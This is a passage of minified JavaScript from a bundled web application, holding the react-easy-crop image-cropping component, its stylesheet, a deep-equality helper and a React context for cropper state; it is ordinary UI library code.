e.width&gt;e.height?e.width/e.naturalWidth:e.height/e.naturalHeight}function HS(e,t,o,r,n){n===void 0&amp;&amp;(n=0);var i=cb(t.width,t.height,n),s=i.width,a=i.height;return{x:aoe(e.x,s,o.width,r),y:aoe(e.y,a,o.height,r)}}function aoe(e,t,o,r){var n=t*r/2-o/2;return SI(e,-n,n)}function loe(e,t){return Math.sqrt(Math.pow(e.y-t.y,2)+Math.pow(e.x-t.x,2))}function coe(e,t){return Math.atan2(t.y-e.y,t.x-e.x)*180/Math.PI}function BEe(e,t,o,r,n,i,s){i===void 0&amp;&amp;(i=0),s===void 0&amp;&amp;(s=!0);var a=s?EEe:TEe,c=cb(t.width,t.height,i),u=cb(t.naturalWidth,t.naturalHeight,i),d={x:a(100,((c.width-o.width/n)/2-e.x/n)/c.width*100),y:a(100,((c.height-o.height/n)/2-e.y/n)/c.height*100),width:a(100,o.width/c.width*100/n),height:a(100,o.height/c.height*100/n)},f=Math.round(a(u.width,d.width*u.width/100)),m=Math.round(a(u.height,d.height*u.height/100)),h=u.width&gt;=u.height*r,p=h?{width:Math.round(m*r),height:m}:{width:f,height:Math.round(f/r)},g=Fo(Fo({},p),{x:Math.round(a(u.width-p.width,d.x*u.width/100)),y:Math.round(a(u.height-p.height,d.y*u.height/100))});return{croppedAreaPercentages:d,croppedAreaPixels:g}}function EEe(e,t){return Math.min(e,Math.max(0,t))}function TEe(e,t){return t}function IEe(e,t,o,r,n,i){var s=cb(t.width,t.height,o),a=SI(r.width/s.width*(100/e.width),n,i),c={x:a*s.width/2-r.width/2-s.width*a*(e.x/100),y:a*s.height/2-r.height/2-s.height*a*(e.y/100)};return{crop:c,zoom:a}}function PEe(e,t,o){var r=CEe(t);return o.height&gt;o.width?o.height/(e.height*r):o.width/(e.width*r)}function REe(e,t,o,r,n,i){o===void 0&amp;&amp;(o=0);var s=cb(t.naturalWidth,t.naturalHeight,o),a=SI(PEe(e,t,r),n,i),c=r.height&gt;r.width?r.height/e.height:r.width/e.width,u={x:((s.width-e.width)/2-e.x)*c,y:((s.height-e.height)/2-e.y)*c};return{crop:u,zoom:a}}function uoe(e,t){return{x:(t.x+e.x)/2,y:(t.y+e.y)/2}}function OEe(e){return e*Math.PI/180}function cb(e,t,o){var r=OEe(o);return{width:Math.abs(Math.cos(r)*e)+Math.abs(Math.sin(r)*t),height:Math.abs(Math.sin(r)*e)+Math.abs(Math.cos(r)*t)}}function SI(e,t,o){return Math.min(Math.max(e,t),o)}function yI(){for(var e=[],t=0;t&lt;arguments.length;t++)e[t]=arguments[t];return e.filter(function(o){return typeof o==&quot;string&quot;&amp;&amp;o.length&gt;0}).join(&quot; &quot;).trim()}var AEe=`.reactEasyCrop_Container {
  position: absolute;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  overflow: hidden;
  user-select: none;
  touch-action: none;
  cursor: move;
  display: flex;
  justify-content: center;
  align-items: center;
}

.reactEasyCrop_Image,
.reactEasyCrop_Video {
  will-change: transform; /* this improves performances and prevent painting issues on iOS Chrome */
}

.reactEasyCrop_Contain {
  max-width: 100%;
  max-height: 100%;
  margin: auto;
  position: absolute;
  top: 0;
  bottom: 0;
  left: 0;
  right: 0;
}
.reactEasyCrop_Cover_Horizontal {
  width: 100%;
  height: auto;
}
.reactEasyCrop_Cover_Vertical {
  width: auto;
  height: 100%;
}

.reactEasyCrop_CropArea {
  position: absolute;
  left: 50%;
  top: 50%;
  transform: translate(-50%, -50%);
  border: 1px solid rgba(255, 255, 255, 0.5);
  box-sizing: border-box;
  box-shadow: 0 0 0 9999em;
  color: rgba(0, 0, 0, 0.5);
  overflow: hidden;
}

.reactEasyCrop_CropAreaRound {
  border-radius: 50%;
}

.reactEasyCrop_CropAreaGrid::before {
  content: &#039; &#039;;
  box-sizing: border-box;
  position: absolute;
  border: 1px solid rgba(255, 255, 255, 0.5);
  top: 0;
  bottom: 0;
  left: 33.33%;
  right: 33.33%;
  border-top: 0;
  border-bottom: 0;
}

.reactEasyCrop_CropAreaGrid::after {
  content: &#039; &#039;;
  box-sizing: border-box;
  position: absolute;
  border: 1px solid rgba(255, 255, 255, 0.5);
  top: 33.33%;
  bottom: 33.33%;
  left: 0;
  right: 0;
  border-left: 0;
  border-right: 0;
}
`,LEe=1,NEe=3,MEe=1,foe=(function(e){IU(t,e);function t(){var o=e!==null&amp;&amp;e.apply(this,arguments)||this;return o.cropperRef=es.createRef(),o.imageRef=es.createRef(),o.videoRef=es.createRef(),o.containerPosition={x:0,y:0},o.containerRef=null,o.styleRef=null,o.containerRect=null,o.mediaSize={width:0,height:0,naturalWidth:0,naturalHeight:0},o.dragStartPosition={x:0,y:0},o.dragStartCrop={x:0,y:0},o.gestureZoomStart=0,o.gestureRotationStart=0,o.isTouching=!1,o.lastPinchDistance=0,o.lastPinchRotation=0,o.rafDragTimeout=null,o.rafPinchTimeout=null,o.wheelTimer=null,o.currentDoc=typeof document&lt;&quot;u&quot;?document:null,o.currentWindow=typeof window&lt;&quot;u&quot;?window:null,o.resizeObserver=null,o.previousCropSize=null,o.isInitialized=!1,o.state={cropSize:null,hasWheelJustStarted:!1,mediaObjectFit:void 0},o.initResizeObserver=function(){if(!(typeof window.ResizeObserver&gt;&quot;u&quot;||!o.containerRef)){var r=!0;o.resizeObserver=new window.ResizeObserver(function(n){if(r){r=!1;return}o.computeSizes()}),o.resizeObserver.observe(o.containerRef)}},o.preventZoomSafari=function(r){return r.preventDefault()},o.cleanEvents=function(){o.currentDoc&amp;&amp;(o.currentDoc.removeEventListener(&quot;mousemove&quot;,o.onMouseMove),o.currentDoc.removeEventListener(&quot;mouseup&quot;,o.onDragStopped),o.currentDoc.removeEventListener(&quot;touchmove&quot;,o.onTouchMove),o.currentDoc.removeEventListener(&quot;touchend&quot;,o.onDragStopped),o.currentDoc.removeEventListener(&quot;gesturechange&quot;,o.onGestureChange),o.currentDoc.removeEventListener(&quot;gestureend&quot;,o.onGestureEnd),o.currentDoc.removeEventListener(&quot;scroll&quot;,o.onScroll))},o.clearScrollEvent=function(){o.containerRef&amp;&amp;o.containerRef.removeEventListener(&quot;wheel&quot;,o.onWheel),o.wheelTimer&amp;&amp;clearTimeout(o.wheelTimer)},o.onMediaLoad=function(){var r=o.computeSizes();r&amp;&amp;(o.previousCropSize=r,o.emitCropData(),o.setInitialCrop(r),o.isInitialized=!0),o.props.onMediaLoaded&amp;&amp;o.props.onMediaLoaded(o.mediaSize)},o.setInitialCrop=function(r){if(o.props.initialCroppedAreaPercentages){var n=IEe(o.props.initialCroppedAreaPercentages,o.mediaSize,o.props.rotation,r,o.props.minZoom,o.props.maxZoom),i=n.crop,s=n.zoom;o.props.onCropChange(i),o.props.onZoomChange&amp;&amp;o.props.onZoomChange(s)}else if(o.props.initialCroppedAreaPixels){var a=REe(o.props.initialCroppedAreaPixels,o.mediaSize,o.props.rotation,r,o.props.minZoom,o.props.maxZoom),i=a.crop,s=a.zoom;o.props.onCropChange(i),o.props.onZoomChange&amp;&amp;o.props.onZoomChange(s)}},o.computeSizes=function(){var r,n,i,s,a,c,u=o.imageRef.current||o.videoRef.current;if(u&amp;&amp;o.containerRef){o.containerRect=o.containerRef.getBoundingClientRect(),o.saveContainerPosition();var d=o.containerRect.width/o.containerRect.height,f=((r=o.imageRef.current)===null||r===void 0?void 0:r.naturalWidth)||((n=o.videoRef.current)===null||n===void 0?void 0:n.videoWidth)||0,m=((i=o.imageRef.current)===null||i===void 0?void 0:i.naturalHeight)||((s=o.videoRef.current)===null||s===void 0?void 0:s.videoHeight)||0,h=u.offsetWidth&lt;f||u.offsetHeight&lt;m,p=f/m,g=void 0;if(h)switch(o.state.mediaObjectFit){default:case&quot;contain&quot;:g=d&gt;p?{width:o.containerRect.height*p,height:o.containerRect.height}:{width:o.containerRect.width,height:o.containerRect.width/p};break;case&quot;horizontal-cover&quot;:g={width:o.containerRect.width,height:o.containerRect.width/p};break;case&quot;vertical-cover&quot;:g={width:o.containerRect.height*p,height:o.containerRect.height};break}else g={width:u.offsetWidth,height:u.offsetHeight};o.mediaSize=Fo(Fo({},g),{naturalWidth:f,naturalHeight:m}),o.props.setMediaSize&amp;&amp;o.props.setMediaSize(o.mediaSize);var b=o.props.cropSize?o.props.cropSize:wEe(o.mediaSize.width,o.mediaSize.height,o.containerRect.width,o.containerRect.height,o.props.aspect,o.props.rotation);return(((a=o.state.cropSize)===null||a===void 0?void 0:a.height)!==b.height||((c=o.state.cropSize)===null||c===void 0?void 0:c.width)!==b.width)&amp;&amp;o.props.onCropSizeChange&amp;&amp;o.props.onCropSizeChange(b),o.setState({cropSize:b},o.recomputeCropPosition),o.props.setCropSize&amp;&amp;o.props.setCropSize(b),b}},o.saveContainerPosition=function(){if(o.containerRef){var r=o.containerRef.getBoundingClientRect();o.containerPosition={x:r.left,y:r.top}}},o.onMouseDown=function(r){o.currentDoc&amp;&amp;(r.preventDefault(),o.currentDoc.addEventListener(&quot;mousemove&quot;,o.onMouseMove),o.currentDoc.addEventListener(&quot;mouseup&quot;,o.onDragStopped),o.saveContainerPosition(),o.onDragStart(t.getMousePoint(r)))},o.onMouseMove=function(r){return o.onDrag(t.getMousePoint(r))},o.onScroll=function(r){o.currentDoc&amp;&amp;(r.preventDefault(),o.saveContainerPosition())},o.onTouchStart=function(r){o.currentDoc&amp;&amp;(o.isTouching=!0,!(o.props.onTouchRequest&amp;&amp;!o.props.onTouchRequest(r))&amp;&amp;(o.currentDoc.addEventListener(&quot;touchmove&quot;,o.onTouchMove,{passive:!1}),o.currentDoc.addEventListener(&quot;touchend&quot;,o.onDragStopped),o.saveContainerPosition(),r.touches.length===2?o.onPinchStart(r):r.touches.length===1&amp;&amp;o.onDragStart(t.getTouchPoint(r.touches[0]))))},o.onTouchMove=function(r){r.preventDefault(),r.touches.length===2?o.onPinchMove(r):r.touches.length===1&amp;&amp;o.onDrag(t.getTouchPoint(r.touches[0]))},o.onGestureStart=function(r){o.currentDoc&amp;&amp;(r.preventDefault(),o.currentDoc.addEventListener(&quot;gesturechange&quot;,o.onGestureChange),o.currentDoc.addEventListener(&quot;gestureend&quot;,o.onGestureEnd),o.gestureZoomStart=o.props.zoom,o.gestureRotationStart=o.props.rotation)},o.onGestureChange=function(r){if(r.preventDefault(),!o.isTouching){var n=t.getMousePoint(r),i=o.gestureZoomStart-1+r.scale;if(o.setNewZoom(i,n,{shouldUpdatePosition:!0}),o.props.onRotationChange){var s=o.gestureRotationStart+r.rotation;o.props.onRotationChange(s)}}},o.onGestureEnd=function(r){o.cleanEvents()},o.onDragStart=function(r){var n,i,s=r.x,a=r.y;o.dragStartPosition={x:s,y:a},o.dragStartCrop=Fo({},o.props.crop),(i=(n=o.props).onInteractionStart)===null||i===void 0||i.call(n)},o.onDrag=function(r){var n=r.x,i=r.y;o.currentWindow&amp;&amp;(o.rafDragTimeout&amp;&amp;o.currentWindow.cancelAnimationFrame(o.rafDragTimeout),o.rafDragTimeout=o.currentWindow.requestAnimationFrame(function(){if(o.state.cropSize&amp;&amp;!(n===void 0||i===void 0)){var s=n-o.dragStartPosition.x,a=i-o.dragStartPosition.y,c={x:o.dragStartCrop.x+s,y:o.dragStartCrop.y+a},u=o.props.restrictPosition?HS(c,o.mediaSize,o.state.cropSize,o.props.zoom,o.props.rotation):c;o.props.onCropChange(u)}}))},o.onDragStopped=function(){var r,n;o.isTouching=!1,o.cleanEvents(),o.emitCropData(),(n=(r=o.props).onInteractionEnd)===null||n===void 0||n.call(r)},o.onWheel=function(r){if(o.currentWindow&amp;&amp;!(o.props.onWheelRequest&amp;&amp;!o.props.onWheelRequest(r))){r.preventDefault();var n=t.getMousePoint(r),i=(0,doe.default)(r).pixelY,s=o.props.zoom-i*o.props.zoomSpeed/200;o.setNewZoom(s,n,{shouldUpdatePosition:!0}),o.state.hasWheelJustStarted||o.setState({hasWheelJustStarted:!0},function(){var a,c;return(c=(a=o.props).onInteractionStart)===null||c===void 0?void 0:c.call(a)}),o.wheelTimer&amp;&amp;clearTimeout(o.wheelTimer),o.wheelTimer=o.currentWindow.setTimeout(function(){return o.setState({hasWheelJustStarted:!1},function(){var a,c;return(c=(a=o.props).onInteractionEnd)===null||c===void 0?void 0:c.call(a)})},250)}},o.getPointOnContainer=function(r,n){var i=r.x,s=r.y;if(!o.containerRect)throw new Error(&quot;The Cropper is not mounted&quot;);return{x:o.containerRect.width/2-(i-n.x),y:o.containerRect.height/2-(s-n.y)}},o.getPointOnMedia=function(r){var n=r.x,i=r.y,s=o.props,a=s.crop,c=s.zoom;return{x:(n+a.x)/c,y:(i+a.y)/c}},o.setNewZoom=function(r,n,i){var s=i===void 0?{}:i,a=s.shouldUpdatePosition,c=a===void 0?!0:a;if(!(!o.state.cropSize||!o.props.onZoomChange)){var u=SI(r,o.props.minZoom,o.props.maxZoom);if(c){var d=o.getPointOnContainer(n,o.containerPosition),f=o.getPointOnMedia(d),m={x:f.x*u-d.x,y:f.y*u-d.y},h=o.props.restrictPosition?HS(m,o.mediaSize,o.state.cropSize,u,o.props.rotation):m;o.props.onCropChange(h)}o.props.onZoomChange(u)}},o.getCropData=function(){if(!o.state.cropSize)return null;var r=o.props.restrictPosition?HS(o.props.crop,o.mediaSize,o.state.cropSize,o.props.zoom,o.props.rotation):o.props.crop;return BEe(r,o.mediaSize,o.state.cropSize,o.getAspect(),o.props.zoom,o.props.rotation,o.props.restrictPosition)},o.emitCropData=function(){var r=o.getCropData();if(r){var n=r.croppedAreaPercentages,i=r.croppedAreaPixels;o.props.onCropComplete&amp;&amp;o.props.onCropComplete(n,i),o.props.onCropAreaChange&amp;&amp;o.props.onCropAreaChange(n,i)}},o.emitCropAreaChange=function(){var r=o.getCropData();if(r){var n=r.croppedAreaPercentages,i=r.croppedAreaPixels;o.props.onCropAreaChange&amp;&amp;o.props.onCropAreaChange(n,i)}},o.recomputeCropPosition=function(){if(o.state.cropSize){var r=o.props.crop;if(o.isInitialized&amp;&amp;o.previousCropSize){var n=Math.abs(o.previousCropSize.width-o.state.cropSize.width)&gt;1e-6||Math.abs(o.previousCropSize.height-o.state.cropSize.height)&gt;1e-6;if(n){var i=o.state.cropSize.width/o.previousCropSize.width,s=o.state.cropSize.height/o.previousCropSize.height;r={x:o.props.crop.x*i,y:o.props.crop.y*s}}}var a=o.props.restrictPosition?HS(r,o.mediaSize,o.state.cropSize,o.props.zoom,o.props.rotation):r;o.previousCropSize=o.state.cropSize,o.props.onCropChange(a),o.emitCropData()}},o.onKeyDown=function(r){var n,i,s=o.props,a=s.crop,c=s.onCropChange,u=s.keyboardStep,d=s.zoom,f=s.rotation,m=u;if(o.state.cropSize){r.shiftKey&amp;&amp;(m*=.2);var h=Fo({},a);switch(r.key){case&quot;ArrowUp&quot;:h.y-=m,r.preventDefault();break;case&quot;ArrowDown&quot;:h.y+=m,r.preventDefault();break;case&quot;ArrowLeft&quot;:h.x-=m,r.preventDefault();break;case&quot;ArrowRight&quot;:h.x+=m,r.preventDefault();break;default:return}o.props.restrictPosition&amp;&amp;(h=HS(h,o.mediaSize,o.state.cropSize,d,f)),r.repeat||(i=(n=o.props).onInteractionStart)===null||i===void 0||i.call(n),c(h)}},o.onKeyUp=function(r){var n,i;switch(r.key){case&quot;ArrowUp&quot;:case&quot;ArrowDown&quot;:case&quot;ArrowLeft&quot;:case&quot;ArrowRight&quot;:r.preventDefault();break;default:return}o.emitCropData(),(i=(n=o.props).onInteractionEnd)===null||i===void 0||i.call(n)},o}return t.prototype.componentDidMount=function(){!this.currentDoc||!this.currentWindow||(this.containerRef&amp;&amp;(this.containerRef.ownerDocument&amp;&amp;(this.currentDoc=this.containerRef.ownerDocument),this.currentDoc.defaultView&amp;&amp;(this.currentWindow=this.currentDoc.defaultView),this.initResizeObserver(),typeof window.ResizeObserver&gt;&quot;u&quot;&amp;&amp;this.currentWindow.addEventListener(&quot;resize&quot;,this.computeSizes),this.props.zoomWithScroll&amp;&amp;this.containerRef.addEventListener(&quot;wheel&quot;,this.onWheel,{passive:!1}),this.containerRef.addEventListener(&quot;gesturestart&quot;,this.onGestureStart)),this.currentDoc.addEventListener(&quot;scroll&quot;,this.onScroll),this.props.disableAutomaticStylesInjection||(this.styleRef=this.currentDoc.createElement(&quot;style&quot;),this.styleRef.setAttribute(&quot;type&quot;,&quot;text/css&quot;),this.props.nonce&amp;&amp;this.styleRef.setAttribute(&quot;nonce&quot;,this.props.nonce),this.styleRef.innerHTML=AEe,this.currentDoc.head.appendChild(this.styleRef)),this.imageRef.current&amp;&amp;this.imageRef.current.complete&amp;&amp;this.onMediaLoad(),this.props.setImageRef&amp;&amp;this.props.setImageRef(this.imageRef),this.props.setVideoRef&amp;&amp;this.props.setVideoRef(this.videoRef),this.props.setCropperRef&amp;&amp;this.props.setCropperRef(this.cropperRef))},t.prototype.componentWillUnmount=function(){var o,r;!this.currentDoc||!this.currentWindow||(typeof window.ResizeObserver&gt;&quot;u&quot;&amp;&amp;this.currentWindow.removeEventListener(&quot;resize&quot;,this.computeSizes),(o=this.resizeObserver)===null||o===void 0||o.disconnect(),this.containerRef&amp;&amp;this.containerRef.removeEventListener(&quot;gesturestart&quot;,this.preventZoomSafari),this.styleRef&amp;&amp;((r=this.styleRef.parentNode)===null||r===void 0||r.removeChild(this.styleRef)),this.cleanEvents(),this.props.zoomWithScroll&amp;&amp;this.clearScrollEvent())},t.prototype.componentDidUpdate=function(o){var r,n,i,s,a,c,u,d,f;o.rotation!==this.props.rotation?(this.computeSizes(),this.recomputeCropPosition()):o.aspect!==this.props.aspect?this.computeSizes():o.objectFit!==this.props.objectFit?this.computeSizes():o.zoom!==this.props.zoom?this.recomputeCropPosition():((r=o.cropSize)===null||r===void 0?void 0:r.height)!==((n=this.props.cropSize)===null||n===void 0?void 0:n.height)||((i=o.cropSize)===null||i===void 0?void 0:i.width)!==((s=this.props.cropSize)===null||s===void 0?void 0:s.width)?this.computeSizes():(((a=o.crop)===null||a===void 0?void 0:a.x)!==((c=this.props.crop)===null||c===void 0?void 0:c.x)||((u=o.crop)===null||u===void 0?void 0:u.y)!==((d=this.props.crop)===null||d===void 0?void 0:d.y))&amp;&amp;this.emitCropAreaChange(),o.zoomWithScroll!==this.props.zoomWithScroll&amp;&amp;this.containerRef&amp;&amp;(this.props.zoomWithScroll?this.containerRef.addEventListener(&quot;wheel&quot;,this.onWheel,{passive:!1}):this.clearScrollEvent()),o.video!==this.props.video&amp;&amp;((f=this.videoRef.current)===null||f===void 0||f.load());var m=this.getObjectFit();m!==this.state.mediaObjectFit&amp;&amp;this.setState({mediaObjectFit:m},this.computeSizes)},t.prototype.getAspect=function(){var o=this.props,r=o.cropSize,n=o.aspect;return r?r.width/r.height:n},t.prototype.getObjectFit=function(){var o,r,n,i;if(this.props.objectFit===&quot;cover&quot;){var s=this.imageRef.current||this.videoRef.current;if(s&amp;&amp;this.containerRef){this.containerRect=this.containerRef.getBoundingClientRect();var a=this.containerRect.width/this.containerRect.height,c=((o=this.imageRef.current)===null||o===void 0?void 0:o.naturalWidth)||((r=this.videoRef.current)===null||r===void 0?void 0:r.videoWidth)||0,u=((n=this.imageRef.current)===null||n===void 0?void 0:n.naturalHeight)||((i=this.videoRef.current)===null||i===void 0?void 0:i.videoHeight)||0,d=c/u;return d&lt;a?&quot;horizontal-cover&quot;:&quot;vertical-cover&quot;}return&quot;horizontal-cover&quot;}return this.props.objectFit},t.prototype.onPinchStart=function(o){var r=t.getTouchPoint(o.touches[0]),n=t.getTouchPoint(o.touches[1]);this.lastPinchDistance=loe(r,n),this.lastPinchRotation=coe(r,n),this.onDragStart(uoe(r,n))},t.prototype.onPinchMove=function(o){var r=this;if(!(!this.currentDoc||!this.currentWindow)){var n=t.getTouchPoint(o.touches[0]),i=t.getTouchPoint(o.touches[1]),s=uoe(n,i);this.onDrag(s),this.rafPinchTimeout&amp;&amp;this.currentWindow.cancelAnimationFrame(this.rafPinchTimeout),this.rafPinchTimeout=this.currentWindow.requestAnimationFrame(function(){var a=loe(n,i),c=r.props.zoom*(a/r.lastPinchDistance);r.setNewZoom(c,s,{shouldUpdatePosition:!1}),r.lastPinchDistance=a;var u=coe(n,i),d=r.props.rotation+(u-r.lastPinchRotation);r.props.onRotationChange&amp;&amp;r.props.onRotationChange(d),r.lastPinchRotation=u})}},t.prototype.render=function(){var o=this,r,n=this.props,i=n.image,s=n.video,a=n.mediaProps,c=n.cropperProps,u=n.transform,d=n.crop,f=d.x,m=d.y,h=n.rotation,p=n.zoom,g=n.cropShape,b=n.showGrid,v=n.roundCropAreaPixels,k=n.style,y=k.containerStyle,S=k.cropAreaStyle,x=k.mediaStyle,C=n.classes,B=C.containerClassName,I=C.cropAreaClassName,P=C.mediaClassName,E=(r=this.state.mediaObjectFit)!==null&amp;&amp;r!==void 0?r:this.getObjectFit();return es.createElement(&quot;div&quot;,{onMouseDown:this.onMouseDown,onTouchStart:this.onTouchStart,ref:function(T){return o.containerRef=T},&quot;data-testid&quot;:&quot;container&quot;,style:y,className:yI(&quot;reactEasyCrop_Container&quot;,B)},i?es.createElement(&quot;img&quot;,Fo({alt:&quot;&quot;,className:yI(&quot;reactEasyCrop_Image&quot;,E===&quot;contain&quot;&amp;&amp;&quot;reactEasyCrop_Contain&quot;,E===&quot;horizontal-cover&quot;&amp;&amp;&quot;reactEasyCrop_Cover_Horizontal&quot;,E===&quot;vertical-cover&quot;&amp;&amp;&quot;reactEasyCrop_Cover_Vertical&quot;,P)},a,{src:i,ref:this.imageRef,style:Fo(Fo({},x),{transform:u||&quot;translate(&quot;.concat(f,&quot;px, &quot;).concat(m,&quot;px) rotate(&quot;).concat(h,&quot;deg) scale(&quot;).concat(p,&quot;)&quot;)}),onLoad:this.onMediaLoad})):s&amp;&amp;es.createElement(&quot;video&quot;,Fo({autoPlay:!0,playsInline:!0,loop:!0,muted:!0,className:yI(&quot;reactEasyCrop_Video&quot;,E===&quot;contain&quot;&amp;&amp;&quot;reactEasyCrop_Contain&quot;,E===&quot;horizontal-cover&quot;&amp;&amp;&quot;reactEasyCrop_Cover_Horizontal&quot;,E===&quot;vertical-cover&quot;&amp;&amp;&quot;reactEasyCrop_Cover_Vertical&quot;,P)},a,{ref:this.videoRef,onLoadedMetadata:this.onMediaLoad,style:Fo(Fo({},x),{transform:u||&quot;translate(&quot;.concat(f,&quot;px, &quot;).concat(m,&quot;px) rotate(&quot;).concat(h,&quot;deg) scale(&quot;).concat(p,&quot;)&quot;)}),controls:!1}),(Array.isArray(s)?s:[{src:s}]).map(function(L){return es.createElement(&quot;source&quot;,Fo({key:L.src},L))})),this.state.cropSize&amp;&amp;es.createElement(&quot;div&quot;,Fo({ref:this.cropperRef,style:Fo(Fo({},S),{width:v?Math.round(this.state.cropSize.width):this.state.cropSize.width,height:v?Math.round(this.state.cropSize.height):this.state.cropSize.height}),tabIndex:0,onKeyDown:this.onKeyDown,onKeyUp:this.onKeyUp,&quot;data-testid&quot;:&quot;cropper&quot;,className:yI(&quot;reactEasyCrop_CropArea&quot;,g===&quot;round&quot;&amp;&amp;&quot;reactEasyCrop_CropAreaRound&quot;,b&amp;&amp;&quot;reactEasyCrop_CropAreaGrid&quot;,I)},c)))},t.defaultProps={zoom:1,rotation:0,aspect:4/3,maxZoom:NEe,minZoom:LEe,cropShape:&quot;rect&quot;,objectFit:&quot;contain&quot;,showGrid:!0,style:{},classes:{},mediaProps:{},cropperProps:{},zoomSpeed:1,restrictPosition:!0,zoomWithScroll:!0,keyboardStep:MEe},t.getMousePoint=function(o){return{x:Number(o.clientX),y:Number(o.clientY)}},t.getTouchPoint=function(o){return{x:Number(o.clientX),y:Number(o.clientY)}},t})(es.Component);var Soe=l(R(),1);var db=l(R(),1);var moe=Object.prototype.hasOwnProperty;function poe(e,t,o){for(o of e.keys())if(Wm(o,t))return o}function Wm(e,t){var o,r,n;if(e===t)return!0;if(e&amp;&amp;t&amp;&amp;(o=e.constructor)===t.constructor){if(o===Date)return e.getTime()===t.getTime();if(o===RegExp)return e.toString()===t.toString();if(o===Array){if((r=e.length)===t.length)for(;r--&amp;&amp;Wm(e[r],t[r]););return r===-1}if(o===Set){if(e.size!==t.size)return!1;for(r of e)if(n=r,n&amp;&amp;typeof n==&quot;object&quot;&amp;&amp;(n=poe(t,n),!n)||!t.has(n))return!1;return!0}if(o===Map){if(e.size!==t.size)return!1;for(r of e)if(n=r[0],n&amp;&amp;typeof n==&quot;object&quot;&amp;&amp;(n=poe(t,n),!n)||!Wm(r[1],t.get(n)))return!1;return!0}if(o===ArrayBuffer)e=new Uint8Array(e),t=new Uint8Array(t);else if(o===DataView){if((r=e.byteLength)===t.byteLength)for(;r--&amp;&amp;e.getInt8(r)===t.getInt8(r););return r===-1}if(ArrayBuffer.isView(e)){if((r=e.byteLength)===t.byteLength)for(;r--&amp;&amp;e[r]===t[r];);return r===-1}if(!o||typeof e==&quot;object&quot;){r=0;for(o in e)if(moe.call(e,o)&amp;&amp;++r&amp;&amp;!moe.call(t,o)||!(o in t)||!Wm(e[o],t[o]))return!1;return Object.keys(t).length===r}}return e!==e&amp;&amp;t!==t}var Zs=l(R(),1);var ub=1,hoe=5;var _I=e=&gt;e&gt;=0?e%360:(360+e%360)%360,DEe=e=&gt;new Promise((t,o)=&gt;{let r=new Image;r.addEventListener(&quot;load&quot;,()=&gt;t(r)),r.addEventListener(&quot;error&quot;,n=&gt;o(n)),r.setAttribute(&quot;crossOrigin&quot;,&quot;anonymous&quot;),r.src=e});function goe(e){return e*Math.PI/180}function VEe(e,t,o){let r=goe(o);return{width:Math.abs(Math.cos(r)*e)+Math.abs(Math.sin(r)*t),height:Math.abs(Math.sin(r)*e)+Math.abs(Math.cos(r)*t)}}async function boe(e,t,o=0,r={horizontal:!1,vertical:!1}){try{let n=await DEe(e),i=document.createElement(&quot;canvas&quot;),s=i.getContext(&quot;2d&quot;);if(!s)return null;let a=goe(o),{width:c,height:u}=VEe(n.width,n.height,o);i.width=c,i.height=u,s.translate(c/2,u/2),s.rotate(a),s.scale(r.horizontal?-1:1,r.vertical?-1:1),s.translate(-n.width/2,-n.height/2),s.drawImage(n,0,0);let d=document.createElement(&quot;canvas&quot;),f=d.getContext(&quot;2d&quot;);return f?(d.width=t.width,d.height=t.height,f.drawImage(i,t.x,t.y,t.width,t.height,0,0,t.width,t.height),new Promise(m=&gt;{d.toBlob(h=&gt;{h&amp;&amp;m(URL.createObjectURL(h))},&quot;image/jpeg&quot;)})):null}catch{return null}}var $m={crop:{x:0,y:0,width:100,height:100},zoom:ub,rotation:0,aspectRatio:1,flip:{horizontal:!1,vertical:!1}},FEe={x:0,y:0},H3={crop:FEe,croppedArea:$m.crop,croppedAreaPixels:null,zoom:$m.zoom,rotation:$m.rotation,flip:$m.flip,aspectRatio:$m.aspectRatio,mediaSize:null};function koe(){let[e,t]=(0,Zs.useState)(H3),[o,r]=(0,Zs.useState)(null),n=(0,Zs.useCallback)(u=&gt;{t(d=&gt;{let m={...typeof u==&quot;function&quot;?u(d):u};return&quot;rotation&quot;in m&amp;&amp;m.rotation!==void 0&amp;&amp;(m.rotation=_I(m.rotation)),{...d,...m}})},[]),i=(0,Zs.useCallback)((u=null)=&gt;{if(!u){r(null),n(H3);return}if(typeof u==&quot;object&quot;){let d={...$m,...u};r(d),n(d)}},[n,r]),s=(0,Zs.useCallback)(()=&gt;{if(o){let u={crop:{x:0,y:0},croppedAreaPixels:null};o.crop&amp;&amp;(u.croppedArea=o.crop),o.zoom!==void 0&amp;&amp;(u.zoom=o.zoom),o.rotation!==void 0&amp;&amp;(u.rotation=o.rotation),o.aspectRatio!==void 0&amp;&amp;(u.aspectRatio=o.aspectRatio),o.flip!==void 0&amp;&amp;(u.flip=o.flip),n(u)}else n({...H3})},[o,n]),a=(0,Zs.useMemo)(()=&gt;{if(o){let d={crop:e.croppedAreaPixels||e.croppedArea,zoom:e.zoom,rotation:_I(e.rotation),aspectRatio:e.aspectRatio,flip:e.flip};return Wm(d,o)===!1}let u={crop:e.croppedArea,zoom:e.zoom,rotation:_I(e.rotation),aspectRatio:e.aspectRatio,flip:e.flip};return Wm(u,$m)===!1},[e,o]),c=(0,Zs.useCallback)(async u=&gt;e.croppedAreaPixels?boe(u,e.croppedAreaPixels,e.rotation,e.flip):null,[e.croppedAreaPixels,e.rotation,e.flip]);return(0,Zs.useMemo)(()=&gt;({cropperState:e,setCropperState:n,resetState:o,setResetState:i,isDirty:a,reset:s,getCroppedImage:c}),[e,n,o,i,a,s,c])}var voe=l(w(),1),yoe=(0,db.createContext)({cropperState:{crop:{x:0,y:0},croppedArea:{x:0,y:0,width:100,height:100},croppedAreaPixels:null,zoom:ub,rotation:0,aspectRatio:1,flip:{horizontal:!1,vertical:!1},mediaSize:null},setCropperState:()=&gt;{},resetState:null,setResetState:()=&gt;{},isDirty:!1,reset:()=&gt;{},getCroppedImage:()=&gt;Promise.resolve(null)});function G3({children:e}){let t=koe(),o=(0,db.useMemo)(()=&gt;({...t}),[t]);return(0,voe.jsx)(yoe.Provider,{value:o,children:e})}var GS=()=&gt;{let e=(0,db.useContext)(yoe);if(!e)throw new Error(&quot;Missing ImageCropperContext&quot;);return e};var _oe=l(w(),1);function 